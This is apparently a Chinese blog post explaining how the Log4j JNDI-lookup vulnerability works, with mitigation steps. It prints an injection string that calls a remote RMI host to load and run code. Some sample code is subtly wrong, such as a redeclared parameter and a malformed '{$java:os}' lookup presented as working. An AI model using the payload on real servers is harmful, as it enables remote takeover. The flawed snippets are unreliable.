核彈級bug Log4j,相信很多人都有所耳聞了,這兩天很多讀者都在問我關於這個bug的原理等一些問題,今天咱們就專門寫一篇文章,一起聊一聊這個核彈級別的bug的產生原理以及怎么防止
產生原因
其實這個主要的原因,和日志有關,日志是應用軟件中不可缺少的部分,Apache的開源項目log4j是一個功能強大的日志組件,提供方便的日志記錄。
最簡單的日志打印
我們看如下場景: 這個場景大家應該很熟悉了,就是用戶登錄,咱們今天不用關心登錄是怎么實現的,只用關心用戶名name字段就可以了,代碼如下
public void login(string name){
String name = "test"; //表單接收name字段
logger.info("{},登錄了", name); //logger為log4j
}
很簡單,用戶如果登陸了,我們通過表單接收到相關name字段,然后在日志中記錄上這么一條記錄。
這個看起來是很常規的操作了,記錄日志為什么會導致bug呢?不要着急,我們接下來往下看。
lookup支持打印系統變量
name變量是用戶輸入的,用戶輸入什么都可以,上面的例子是字符串test,那么用戶可以輸入別的內容么?
public void login(string name){
String name = "{$java:os}"; //用戶輸入的name內容為 {$java:os}
logger.info("{},登錄了", name); //logger為log4j
}
如果用戶在用戶名輸入框輸入{$java:os},那么日志中記錄的會是系統相關的信息,上述代碼會輸出
Windows 7 6.1 Service Pack 1, architecture: amd64-64,登錄了
為什么會產生這種奇怪的現象呢?
是因為log4j提供了一個lookup的功能,對lookup功能不熟悉的同學也沒有關系,你知道有這么個方法,可以把一些系統變量放到日志中就可以了,如下圖

比較敏銳的同學可能已經開始察覺到了,現在越來越像sql注入了。
JNDI介紹
很多同學可能對JNDI不是很了解,不過沒關系,我用最通俗的話來解釋 其實就是你自己做一個服務,比如是
jndi:rmi:192.168.9.23:1099/remote
如果被攻擊的服務器,比如某台線上的服務器,訪問了或者執行了,你自己的JNDI服務,「那么線上的服務器就會來執行JNDI服務中的remote方法的代碼」。如果不是很清楚,沒關系,下面有張圖

大家還記得我們今天的主角log4j么? 如果用戶直接在用戶名輸入框輸入JNDI的服務地址

public void login(string name){
String name = "${jndi:rmi:192.168.9.23:1099/remote}"; //用戶輸入的name內容為 jndi相關信息
logger.info("{},登錄了", name);
}
那么只要是你用log4j來打印這么一條日志,那么log4j就會去執行 jndi:rmi:192.168.9.23:1099/remote 服務,那么在黑客的電腦上就可以對線上服務做任何操作了,
大家想象一下,一個不是你公司的人,卻可以在你們公司線上服務器做任何操作,這該是多么的可怕。
解決方式
其實如果你了解了這個原理那么解決方式也就一目了然了,
-
禁用lookup或JNDI服務
罪魁禍首就是lookup和JNDI,那么直接修改配置文件log4j2.formatMsgNoLookups=True或禁用JNDI服務,不過一般產生問題的服務都是線上已經在跑的服務,禁用的時候要注意評估一下是否允許。
-
升級Apache Log4j
這次產生的影響范圍主要是在Apache Log4j 2.x <= 2.14.1 ,所以直接把Log4j升級即可解決。